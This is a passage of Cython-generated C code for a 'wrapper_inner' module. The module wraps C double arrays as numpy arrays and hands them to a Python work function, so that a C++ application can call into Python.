__STDC_VERSION__ >= 199901L\n    #define CYTHON_INLINE inline\n  #else\n    #define CYTHON_INLINE\n  #endif\n#endif\n\n/* unused attribute */\n#ifndef CYTHON_UNUSED\n# if defined(__GNUC__)\n#   if !(defined(__cplusplus)) || (__GNUC__ > 3 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))\n#     define CYTHON_UNUSED __attribute__ ((__unused__))\n#   else\n#     define CYTHON_UNUSED\n#   endif\n# elif defined(__ICC) || defined(__INTEL_COMPILER)\n#   define CYTHON_UNUSED __attribute__ ((__unused__))\n# else\n#   define CYTHON_UNUSED\n# endif\n#endif\n\ntypedef struct {PyObject **p; char *s; const long n; const char* encoding; const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; /*proto*/\n\n\n/* Type Conversion Predeclarations */\n\n#define __Pyx_PyBytes_FromUString(s) PyBytes_FromString((char*)s)\n#define __Pyx_PyBytes_AsUString(s)   ((unsigned char*) PyBytes_AsString(s))\n\n#define __Pyx_PyBool_FromLong(b) ((b) ? (Py_INCREF(Py_True), Py_True) : (Py_INCREF(Py_False), Py_False))\nstatic CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*);\nstatic CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x);\n\nstatic CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject*);\nstatic CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t);\nstatic CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject*);\n\n#define __pyx_PyFloat_AsDouble(x) (PyFloat_CheckExact(x) ? PyFloat_AS_DOUBLE(x) : PyFloat_AsDouble(x))\n\n\n#ifdef __GNUC__\n/* Test for GCC > 2.95 */\n#if __GNUC__ > 2 || (__GNUC__ == 2 && (__GNUC_MINOR__ > 95))\n#define likely(x)   __builtin_expect(!!(x), 1)\n#define unlikely(x) __builtin_expect(!!(x), 0)\n#else /* __GNUC__ > 2 ... */\n#define likely(x)   (x)\n#define unlikely(x) (x)\n#endif /* __GNUC__ > 2 ... */\n#else /* __GNUC__ */\n#define likely(x)   (x)\n#define unlikely(x) (x)\n#endif /* __GNUC__ */\n    \nstatic PyObject *__pyx_m;\nstatic PyObject *__pyx_b;\nstatic PyObject *__pyx_empty_tuple;\nstatic PyObject *__pyx_empty_bytes;\nstatic int __pyx_lineno;\nstatic int __pyx_clineno = 0;\nstatic const char * __pyx_cfilenm= __FILE__;\nstatic const char *__pyx_filename;\n\n\n#if !defined(CYTHON_CCOMPLEX)\n  #if defined(__cplusplus)\n    #define CYTHON_CCOMPLEX 1\n  #elif defined(_Complex_I)\n    #define CYTHON_CCOMPLEX 1\n  #else\n    #define CYTHON_CCOMPLEX 0\n  #endif\n#endif\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    #include <complex>\n  #else\n    #include <complex.h>\n  #endif\n#endif\n\n#if CYTHON_CCOMPLEX && !defined(__cplusplus) && defined(__sun__) && defined(__GNUC__)\n  #undef _Complex_I\n  #define _Complex_I 1.0fj\n#endif\n\nstatic const char *__pyx_f[] = {\n  \"wrapper_inner.pyx\",\n  \"numpy.pxd\",\n};\n\ntypedef npy_int8 __pyx_t_5numpy_int8_t;\n\ntypedef npy_int16 __pyx_t_5numpy_int16_t;\n\ntypedef npy_int32 __pyx_t_5numpy_int32_t;\n\ntypedef npy_int64 __pyx_t_5numpy_int64_t;\n\ntypedef npy_uint8 __pyx_t_5numpy_uint8_t;\n\ntypedef npy_uint16 __pyx_t_5numpy_uint16_t;\n\ntypedef npy_uint32 __pyx_t_5numpy_uint32_t;\n\ntypedef npy_uint64 __pyx_t_5numpy_uint64_t;\n\ntypedef npy_float32 __pyx_t_5numpy_float32_t;\n\ntypedef npy_float64 __pyx_t_5numpy_float64_t;\n\ntypedef npy_long __pyx_t_5numpy_int_t;\n\ntypedef npy_longlong __pyx_t_5numpy_long_t;\n\ntypedef npy_intp __pyx_t_5numpy_intp_t;\n\ntypedef npy_uintp __pyx_t_5numpy_uintp_t;\n\ntypedef npy_ulong __pyx_t_5numpy_uint_t;\n\ntypedef npy_ulonglong __pyx_t_5numpy_ulong_t;\n\ntypedef npy_double __pyx_t_5numpy_float_t;\n\ntypedef npy_double __pyx_t_5numpy_double_t;\n\ntypedef npy_longdouble __pyx_t_5numpy_longdouble_t;\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    typedef ::std::complex< float > __pyx_t_float_complex;\n  #else\n    typedef float _Complex __pyx_t_float_complex;\n  #endif\n#else\n    typedef struct { float real, imag; } __pyx_t_float_complex;\n#endif\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    typedef ::std::complex< double > __pyx_t_double_complex;\n  #else\n    typedef double _Complex __pyx_t_double_complex;\n  #endif\n#else\n    typedef struct { double real, imag; } __pyx_t_double_complex;\n#endif\n\n/* Type declarations */\n\ntypedef npy_cfloat __pyx_t_5numpy_cfloat_t;\n\ntypedef npy_cdouble __pyx_t_5numpy_cdouble_t;\n\ntypedef npy_clongdouble __pyx_t_5numpy_clongdouble_t;\n\ntypedef npy_cdouble __pyx_t_5numpy_complex_t;\n\n#ifndef CYTHON_REFNANNY\n  #define CYTHON_REFNANNY 0\n#endif\n\n#if CYTHON_REFNANNY\n  typedef struct {\n    void (*INCREF)(void*, PyObject*, int);\n    void (*DECREF)(void*, PyObject*, int);\n    void (*GOTREF)(void*, PyObject*, int);\n    void (*GIVEREF)(void*, PyObject*, int);\n    void* (*SetupContext)(const char*, int, const char*);\n    void (*FinishContext)(void**);\n  } __Pyx_RefNannyAPIStruct;\n  static __Pyx_RefNannyAPIStruct *__Pyx_RefNanny = NULL;\n  static __Pyx_RefNannyAPIStruct * __Pyx_RefNannyImportAPI(const char *modname) {\n    PyObject *m = NULL, *p = NULL;\n    void *r = NULL;\n    m = PyImport_ImportModule((char *)modname);\n    if (!m) goto end;\n    p = PyObject_GetAttrString(m, (char *)\"RefNannyAPI\");\n    if (!p) goto end;\n    r = PyLong_AsVoidPtr(p);\n  end:\n    Py_XDECREF(p);\n    Py_XDECREF(m);\n    return (__Pyx_RefNannyAPIStruct *)r;\n  }\n  #define __Pyx_RefNannySetupContext(name)           void *__pyx_refnanny = __Pyx_RefNanny->SetupContext((name), __LINE__, __FILE__)\n  #define __Pyx_RefNannyFinishContext()           __Pyx_RefNanny->FinishContext(&__pyx_refnanny)\n  #define __Pyx_INCREF(r) __Pyx_RefNanny->INCREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_DECREF(r) __Pyx_RefNanny->DECREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_GOTREF(r) __Pyx_RefNanny->GOTREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_GIVEREF(r) __Pyx_RefNanny->GIVEREF(__pyx_refnanny, (PyObject *)(r), __LINE__)\n  #define __Pyx_XDECREF(r) do { if((r) != NULL) {__Pyx_DECREF(r);} } while(0)\n#else\n  #define __Pyx_RefNannySetupContext(name)\n  #define __Pyx_RefNannyFinishContext()\n  #define __Pyx_INCREF(r) Py_INCREF(r)\n  #define __Pyx_DECREF(r) Py_DECREF(r)\n  #define __Pyx_GOTREF(r)\n  #define __Pyx_GIVEREF(r)\n  #define __Pyx_XDECREF(r) Py_XDECREF(r)\n#endif /* CYTHON_REFNANNY */\n#define __Pyx_XGIVEREF(r) do { if((r) != NULL) {__Pyx_GIVEREF(r);} } while(0)\n#define __Pyx_XGOTREF(r) do { if((r) != NULL) {__Pyx_GOTREF(r);} } while(0)\n\nstatic CYTHON_INLINE int __Pyx_TypeTest(PyObject *obj, PyTypeObject *type); /*proto*/\n\nstatic PyObject *__Pyx_GetName(PyObject *dict, PyObject *name); /*proto*/\n\nstatic CYTHON_INLINE void __Pyx_ErrRestore(PyObject *type, PyObject *value, PyObject *tb); /*proto*/\nstatic CYTHON_INLINE void __Pyx_ErrFetch(PyObject **type, PyObject **value, PyObject **tb); /*proto*/\n\nstatic void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb); /*proto*/\n\nstatic CYTHON_INLINE void __Pyx_RaiseNoneNotIterableError(void);\n\nstatic CYTHON_INLINE void __Pyx_RaiseNeedMoreValuesError(Py_ssize_t index);\n\nstatic CYTHON_INLINE void __Pyx_RaiseTooManyValuesError(Py_ssize_t expected);\n\nstatic void __Pyx_UnpackTupleError(PyObject *, Py_ssize_t index); /*proto*/\n\nstatic PyObject *__Pyx_Import(PyObject *name, PyObject *from_list); /*proto*/\n\nstatic int __Pyx_Print(PyObject*, PyObject *, int); /*proto*/\n#if PY_MAJOR_VERSION >= 3\nstatic PyObject* __pyx_print = 0;\nstatic PyObject* __pyx_print_kwargs = 0;\n#endif\n\nstatic int __Pyx_PrintOne(PyObject* stream, PyObject *o); /*proto*/\n\nstatic CYTHON_INLINE PyObject *__Pyx_PyInt_to_py_Py_intptr_t(Py_intptr_t);\n\n#if CYTHON_CCOMPLEX\n  #ifdef __cplusplus\n    #define __Pyx_CREAL(z) ((z).real())\n    #define __Pyx_CIMAG(z) ((z).imag())\n  #else\n    #define __Pyx_CREAL(z) (__real__(z))\n    #define __Pyx_CIMAG(z) (__imag__(z))\n  #endif\n#else\n    #define __Pyx_CREAL(z) ((z).real)\n    #define __Pyx_CIMAG(z) ((z).imag)\n#endif\n\n#if defined(_WIN32) && defined(__cplusplus) && CYTHON_CCOMPLEX\n    #define __Pyx_SET_CREAL(z,x) ((z).real(x))\n    #define __Pyx_SET_CIMAG(z,y) ((z).imag(y))\n#else\n    #define __Pyx_SET_CREAL(z,x) __Pyx_CREAL(z) = (x)\n    #define __Pyx_SET_CIMAG(z,y) __Pyx_CIMAG(z) = (y)\n#endif\n\nstatic CYTHON_INLINE __pyx_t_float_complex __pyx_t_float_complex_from_parts(float, float);\n\n#if CYTHON_CCOMPLEX\n    #define __Pyx_c_eqf(a, b)   ((a)==(b))\n    #define __Pyx_c_sumf(a, b)  ((a)+(b))\n    #define __Pyx_c_difff(a, b) ((a)-(b))\n    #define __Pyx_c_prodf(a, b) ((a)*(b))\n    #define __Pyx_c_quotf(a, b) ((a)/(b))\n    #define __Pyx_c_negf(a)     (-(a))\n  #ifdef __cplusplus\n    #define __Pyx_c_is_zerof(z) ((z)==(float)0)\n    #define __Pyx_c_conjf(z)    (::std::conj(z))\n    #if 1\n        #define __Pyx_c_absf(z)     (::std::abs(z))\n        #define __Pyx_c_powf(a, b)  (::std::pow(a, b))\n    #endif\n  #else\n    #define __Pyx_c_is_zerof(z) ((z)==0)\n    #define __Pyx_c_conjf(z)    (conjf(z))\n    #if 1\n        #define __Pyx_c_absf(z)     (cabsf(z))\n        #define __Pyx_c_powf(a, b)  (cpowf(a, b))\n    #endif\n #endif\n#else\n    static CYTHON_INLINE int __Pyx_c_eqf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_sumf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_difff(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_prodf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_quotf(__pyx_t_float_complex, __pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_negf(__pyx_t_float_complex);\n    static CYTHON_INLINE int __Pyx_c_is_zerof(__pyx_t_float_complex);\n    static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_conjf(__pyx_t_float_complex);\n    #if 1\n        static CYTHON_INLINE float __Pyx_c_absf(__pyx_t_float_complex);\n        static CYTHON_INLINE __pyx_t_float_complex __Pyx_c_powf(__pyx_t_float_complex, __pyx_t_float_complex);\n    #endif\n#endif\n\nstatic CYTHON_INLINE __pyx_t_double_complex __pyx_t_double_complex_from_parts(double, double);\n\n#if CYTHON_CCOMPLEX\n    #define __Pyx_c_eq(a, b)   ((a)==(b))\n    #define __Pyx_c_sum(a, b)  ((a)+(b))\n    #define __Pyx_c_diff(a, b) ((a)-(b))\n    #define __Pyx_c_prod(a, b) ((a)*(b))\n    #define __Pyx_c_quot(a, b) ((a)/(b))\n    #define __Pyx_c_neg(a)     (-(a))\n  #ifdef __cplusplus\n    #define __Pyx_c_is_zero(z) ((z)==(double)0)\n    #define __Pyx_c_conj(z)    (::std::conj(z))\n    #if 1\n        #define __Pyx_c_abs(z)     (::std::abs(z))\n        #define __Pyx_c_pow(a, b)  (::std::pow(a, b))\n    #endif\n  #else\n    #define __Pyx_c_is_zero(z) ((z)==0)\n    #define __Pyx_c_conj(z)    (conj(z))\n    #if 1\n        #define __Pyx_c_abs(z)     (cabs(z))\n        #define __Pyx_c_pow(a, b)  (cpow(a, b))\n    #endif\n #endif\n#else\n    static CYTHON_INLINE int __Pyx_c_eq(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_sum(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_diff(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_prod(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_quot(__pyx_t_double_complex, __pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_neg(__pyx_t_double_complex);\n    static CYTHON_INLINE int __Pyx_c_is_zero(__pyx_t_double_complex);\n    static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_conj(__pyx_t_double_complex);\n    #if 1\n        static CYTHON_INLINE double __Pyx_c_abs(__pyx_t_double_complex);\n        static CYTHON_INLINE __pyx_t_double_complex __Pyx_c_pow(__pyx_t_double_complex, __pyx_t_double_complex);\n    #endif\n#endif\n\nstatic CYTHON_INLINE unsigned char __Pyx_PyInt_AsUnsignedChar(PyObject *);\n\nstatic CYTHON_INLINE unsigned short __Pyx_PyInt_AsUnsignedShort(PyObject *);\n\nstatic CYTHON_INLINE unsigned int __Pyx_PyInt_AsUnsignedInt(PyObject *);\n\nstatic CYTHON_INLINE char __Pyx_PyInt_AsChar(PyObject *);\n\nstatic CYTHON_INLINE short __Pyx_PyInt_AsShort(PyObject *);\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsInt(PyObject *);\n\nstatic CYTHON_INLINE signed char __Pyx_PyInt_AsSignedChar(PyObject *);\n\nstatic CYTHON_INLINE signed short __Pyx_PyInt_AsSignedShort(PyObject *);\n\nstatic CYTHON_INLINE signed int __Pyx_PyInt_AsSignedInt(PyObject *);\n\nstatic CYTHON_INLINE int __Pyx_PyInt_AsLongDouble(PyObject *);\n\nstatic CYTHON_INLINE unsigned long __Pyx_PyInt_AsUnsignedLong(PyObject *);\n\nstatic CYTHON_INLINE unsigned PY_LONG_LONG __Pyx_PyInt_AsUnsignedLongLong(PyObject *);\n\nstatic CYTHON_INLINE long __Pyx_PyInt_AsLong(PyObject *);\n\nstatic CYTHON_INLINE PY_LONG_LONG __Pyx_PyInt_AsLongLong(PyObject *);\n\nstatic CYTHON_INLINE signed long __Pyx_PyInt_AsSignedLong(PyObject *);\n\nstatic CYTHON_INLINE signed PY_LONG_LONG __Pyx_PyInt_AsSignedLongLong(PyObject *);\n\nstatic void __Pyx_WriteUnraisable(const char *name); /*proto*/\n\nstatic int __Pyx_ExportFunction(const char *name, void (*f)(void), const char *sig); /*proto*/\n\nstatic PyTypeObject *__Pyx_ImportType(const char *module_name, const char *class_name, long size, int strict);  /*proto*/\n\nstatic PyObject *__Pyx_ImportModule(const char *name); /*proto*/\n\nstatic void __Pyx_AddTraceback(const char *funcname); /*proto*/\n\nstatic int __Pyx_InitStrings(__Pyx_StringTabEntry *t); /*proto*/\n/* Module declarations from cpython.buffer */\n\n/* Module declarations from cpython.ref */\n\n/* Module declarations from libc.stdio */\n\n/* Module declarations from cpython.object */\n\n/* Module declarations from libc.stdlib */\n\n/* Module declarations from numpy */\n\n/* Module declarations from numpy */\n\nstatic PyTypeObject *__pyx_ptype_5numpy_dtype = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_flatiter = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_broadcast = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_ndarray = 0;\nstatic PyTypeObject *__pyx_ptype_5numpy_ufunc = 0;\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew1(PyObject *); /*proto*/\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew2(PyObject *, PyObject *); /*proto*/\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew3(PyObject *, PyObject *, PyObject *); /*proto*/\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew4(PyObject *, PyObject *, PyObject *, PyObject *); /*proto*/\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_PyArray_MultiIterNew5(PyObject *, PyObject *, PyObject *, PyObject *, PyObject *); /*proto*/\nstatic CYTHON_INLINE char *__pyx_f_5numpy__util_dtypestring(PyArray_Descr *, char *, char *, int *); /*proto*/\nstatic CYTHON_INLINE void __pyx_f_5numpy_set_array_base(PyArrayObject *, PyObject *); /*proto*/\nstatic CYTHON_INLINE PyObject *__pyx_f_5numpy_get_array_base(PyArrayObject *); /*proto*/\n/* Module declarations from libcpp.vector */\n\n/* Module declarations from wrapper_inner */\n\nstatic void inner_work_1d(int, double *, double *); /*proto*/\nstatic void inner_work_2d(int, int, double *, double *); /*proto*/\n#define __Pyx_MODULE_NAME \"wrapper_inner\"\nstatic int __pyx_module_is_main_wrapper_inner = 0;\n\n/* Implementation of wrapper_inner */\nstatic PyObject *__pyx_builtin_ValueError;\nstatic PyObject *__pyx_builtin_range;\nstatic PyObject *__pyx_builtin_RuntimeError;\nstatic char __pyx_k_1[] = \"\\nHello from Cython inner_work_1d!\";\nstatic char __pyx_k_2[] = \"\\nHello from Cython inner_work_2d!\";\nstatic char __pyx_k_3[] = \"\\nHello from a pure Python function inside the Cython module.\";\nstatic char __pyx_k_5[] = \"ndarray is not C contiguous\";\nstatic char __pyx_k_7[] = \"ndarray is not Fortran contiguous\";\nstatic char __pyx_k_9[] = \"Non-native byte order not supported\";\nstatic char __pyx_k_11[] = \"unknown dtype code in numpy.pxd (%d)\";\nstatic char __pyx_k_12[] = \"Format string allocated too short, see comment in numpy.pxd\";\nstatic char __pyx_k_15[] = \"Format string allocated too short.\";\nstatic char __pyx_k__B[] = \"B\";\nstatic char __pyx_k__H[] = \"H\";\nstatic char __pyx_k__I[] = \"I\";\nstatic char __pyx_k__L[] = \"L\";\nstatic char __pyx_k__O[] = \"O\";\nstatic char __pyx_k__Q[] = \"Q\";\nstatic char __pyx_k__b[] = \"b\";\nstatic char __pyx_k__d[] = \"d\";\nstatic char __pyx_k__f[] = \"f\";\nstatic char __pyx_k__g[] = \"g\";\nstatic char __pyx_k__h[] = \"h\";\nstatic char __pyx_k__i[] = \"i\";\nstatic char __pyx_k__l[] = \"l\";\nstatic char __pyx_k__q[] = \"q\";\nstatic char __pyx_k__Zd[] = \"Zd\";\nstatic char __pyx_k__Zf[] = \"Zf\";\nstatic char __pyx_k__Zg[] = \"Zg\";\nstatic char __pyx_k__np[] = \"np\";\nstatic char __pyx_k__buf[] = \"buf\";\nstatic char __pyx_k__obj[] = \"obj\";\nstatic char __pyx_k__base[] = \"base\";\nstatic char __pyx_k__ndim[] = \"ndim\";\nstatic char __pyx_k__ones[] = \"ones\";\nstatic char __pyx_k__descr[] = \"descr\";\nstatic char __pyx_k__names[] = \"names\";\nstatic char __pyx_k__numpy[] = \"numpy\";\nstatic char __pyx_k__range[] = \"range\";\nstatic char __pyx_k__shape[] = \"shape\";\nstatic char __pyx_k__fields[] = \"fields\";\nstatic char __pyx_k__format[] = \"format\";\nstatic char __pyx_k__strides[] = \"strides\";\nstatic char __pyx_k____main__[] = \"__main__\";\nstatic char __pyx_k____test__[] = \"__test__\";\nstatic char __pyx_k__itemsize[] = \"itemsize\";\nstatic char __pyx_k__readonly[] = \"readonly\";\nstatic char __pyx_k__type_num[] = \"type_num\";\nstatic char __pyx_k__byteorder[] = \"byteorder\";\nstatic char __pyx_k__ValueError[] = \"ValueError\";\nstatic char __pyx_k__suboffsets[] = \"suboffsets\";\nstatic char __pyx_k__work_module[] = \"work_module\";\nstatic char __pyx_k__RuntimeError[] = \"RuntimeError\";\nstatic char __pyx_k__pure_py_test[] = \"pure_py_test\";\nstatic char __pyx_k__wrapper_inner[] = \"wrapper_inner\";\nstatic char __pyx_k__do_awesome_work[] = \"do_awesome_work\";\nstatic PyObject *__pyx_kp_s_1;\nstatic PyObject *__pyx_kp_u_11;\nstatic PyObject *__pyx_kp_u_12;\nstatic PyObject *__pyx_kp_u_15;\nstatic PyObject *__pyx_kp_s_2;\nstatic PyObject *__pyx_kp_s_3;\nstatic PyObject *__pyx_kp_u_5;\nstatic PyObject *__pyx_kp_u_7;\nstatic PyObject *__pyx_kp_u_9;\nstatic PyObject *__pyx_n_s__RuntimeError;\nstatic PyObject *__pyx_n_s__ValueError;\nstatic PyObject *__pyx_n_s____main__;\nstatic PyObject *__pyx_n_s____test__;\nstatic PyObject *__pyx_n_s__base;\nstatic PyObject *__pyx_n_s__buf;\nstatic PyObject *__pyx_n_s__byteorder;\nstatic PyObject *__pyx_n_s__descr;\nstatic PyObject *__pyx_n_s__do_awesome_work;\nstatic PyObject *__pyx_n_s__fields;\nstatic PyObject *__pyx_n_s__format;\nstatic PyObject *__pyx_n_s__itemsize;\nstatic PyObject *__pyx_n_s__names;\nstatic PyObject *__pyx_n_s__ndim;\nstatic PyObject *__pyx_n_s__np;\nstatic PyObject *__pyx_n_s__numpy;\nstatic PyObject *__pyx_n_s__obj;\nstatic PyObject *__pyx_n_s__ones;\nstatic PyObject *__pyx_n_s__pure_py_test;\nstatic PyObject *__pyx_n_s__range;\nstatic PyObject *__pyx_n_s__readonly;\nstatic PyObject *__pyx_n_s__shape;\nstatic PyObject *__pyx_n_s__strides;\nstatic PyObject *__pyx_n_s__suboffsets;\nstatic PyObject *__pyx_n_s__type_num;\nstatic PyObject *__pyx_n_s__work_module;\nstatic PyObject *__pyx_n_s__wrapper_inner;\nstatic PyObject *__pyx_int_5;\nstatic PyObject *__pyx_int_15;\nstatic PyObject *__pyx_k_tuple_4;\nstatic PyObject *__pyx_k_tuple_6;\nstatic PyObject *__pyx_k_tuple_8;\nstatic PyObject *__pyx_k_tuple_10;\nstatic PyObject *__pyx_k_tuple_13;\nstatic PyObject *__pyx_k_tuple_14;\nstatic PyObject *__pyx_k_tuple_16;\n\n/* \"wrapper_inner.pyx\":18\n * # Here is the Cython portion of the wrapper.\n * # Important: this function must be declared with \"api\" keyword!\n * cdef api void inner_work_1d(int num_x, double* data_ptr, double* answer_ptr):             # <<<<<<<<<<<<<<\n * \n *     print('\\nHello from Cython inner_work_1d!')\n */\n\nstatic  void inner_work_1d(int __pyx_v_num_x, double *__pyx_v_data_ptr, double *__pyx_v_answer_ptr) {\n  int __pyx_v_nd;\n  npy_intp *__pyx_v_dims;\n  int __pyx_v_typenum;\n  PyArrayObject *__pyx_v_data_np = 0;\n  double __pyx_v_sum;\n  npy_intp __pyx_t_1[1];\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  __Pyx_RefNannySetupContext(\"inner_work_1d\");\n\n  /* \"wrapper_inner.pyx\":20\n * cdef api void inner_work_1d(int num_x, double* data_ptr, double* answer_ptr):\n * \n *     print('\\nHello from Cython inner_work_1d!')             # <<<<<<<<<<<<<<\n * \n *     # Convert input data into form useable by Python, with lots of help from Numpy.\n */\n  if (__Pyx_PrintOne(0, ((PyObject *)__pyx_kp_s_1)) < 0) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 20; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  /* \"wrapper_inner.pyx\":25\n * \n *     # http://www.mail-archive.com/cython-dev@codespeak.net/msg05823.html\n *     cdef int nd = 1             # <<<<<<<<<<<<<<\n *     cdef np.npy_intp* dims = [<np.npy_intp>num_x]  # analogous to: double a[4] = {0.5, 0.3, 0.1, 0.1}\n *     cdef int typenum = np.NPY_DOUBLE\n */\n  __pyx_v_nd = 1;\n\n  /* \"wrapper_inner.pyx\":26\n *     # http://www.mail-archive.com/cython-dev@codespeak.net/msg05823.html\n *     cdef int nd = 1\n *     cdef np.npy_intp* dims = [<np.npy_intp>num_x]  # analogous to: double a[4] = {0.5, 0.3, 0.1, 0.1}             # <<<<<<<<<<<<<<\n *     cdef int typenum = np.NPY_DOUBLE\n * \n */\n  __pyx_t_1[0] = ((npy_intp)__pyx_v_num_x);\n  __pyx_v_dims = __pyx_t_1;\n\n  /* \"wrapper_inner.pyx\":27\n *     cdef int nd = 1\n *     cdef np.npy_intp* dims = [<np.npy_intp>num_x]  # analogous to: double a[4] = {0.5, 0.3, 0.1, 0.1}\n *     cdef int typenum = np.NPY_DOUBLE             # <<<<<<<<<<<<<<\n * \n *     cdef np.ndarray data_np = PyArray_SimpleNewFromData(nd, dims, typenum, <void*>data_ptr)\n */\n  __pyx_v_typenum = NPY_DOUBLE;\n\n  /* \"wrapper_inner.pyx\":29\n *     cdef int typenum = np.NPY_DOUBLE\n * \n *     cdef np.ndarray data_np = PyArray_SimpleNewFromData(nd, dims, typenum, <void*>data_ptr)             # <<<<<<<<<<<<<<\n * \n *     # Do the work.\n */\n  __pyx_t_2 = PyArray_SimpleNewFromData(__pyx_v_nd, __pyx_v_dims, __pyx_v_typenum, ((void *)__pyx_v_data_ptr)); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 29; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  if (!(likely(((__pyx_t_2) == Py_None) || likely(__Pyx_TypeTest(__pyx_t_2, __pyx_ptype_5numpy_ndarray))))) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 29; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __pyx_v_data_np = ((PyArrayObject *)__pyx_t_2);\n  __pyx_t_2 = 0;\n\n  /* \"wrapper_inner.pyx\":32\n * \n *     # Do the work.\n *     cdef double sum = work_module.do_awesome_work(data_np)             # <<<<<<<<<<<<<<\n * \n *     # # Convert work results into a form useable by the calling C++ application.\n */\n  __pyx_t_2 = __Pyx_GetName(__pyx_m, __pyx_n_s__work_module); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 32; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_2);\n  __pyx_t_3 = PyObject_GetAttr(__pyx_t_2, __pyx_n_s__do_awesome_work); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 32; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_3);\n  __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;\n  __pyx_t_2 = PyTuple_New(1); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 32; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(((PyObject *)__pyx_t_2));\n  __Pyx_INCREF(((PyObject *)__pyx_v_data_np));\n  PyTuple_SET_ITEM(__pyx_t_2, 0, ((PyObject *)__pyx_v_data_np));\n  __Pyx_GIVEREF(((PyObject *)__pyx_v_data_np));\n  __pyx_t_4 = PyObject_Call(__pyx_t_3, ((PyObject *)__pyx_t_2), NULL); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 32; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_4);\n  __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n  __Pyx_DECREF(((PyObject *)__pyx_t_2)); __pyx_t_2 = 0;\n  __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_4); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 32; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;\n  __pyx_v_sum = __pyx_t_5;\n\n  /* \"wrapper_inner.pyx\":35\n * \n *     # # Convert work results into a form useable by the calling C++ application.\n *     answer_ptr[0] = sum             # <<<<<<<<<<<<<<\n * \n *     # Done.\n */\n  (__pyx_v_answer_ptr[0]) = __pyx_v_sum;\n\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"wrapper_inner.inner_work_1d\");\n  __pyx_L0:;\n  __Pyx_XDECREF((PyObject *)__pyx_v_data_np);\n  __Pyx_RefNannyFinishContext();\n}\n\n/* \"wrapper_inner.pyx\":40\n * \n * \n * cdef api void inner_work_2d(int num_x, int num_y, double* data_ptr, double* answer_ptr):             # <<<<<<<<<<<<<<\n * \n *     print('\\nHello from Cython inner_work_2d!')\n */\n\nstatic  void inner_work_2d(int __pyx_v_num_x, int __pyx_v_num_y, double 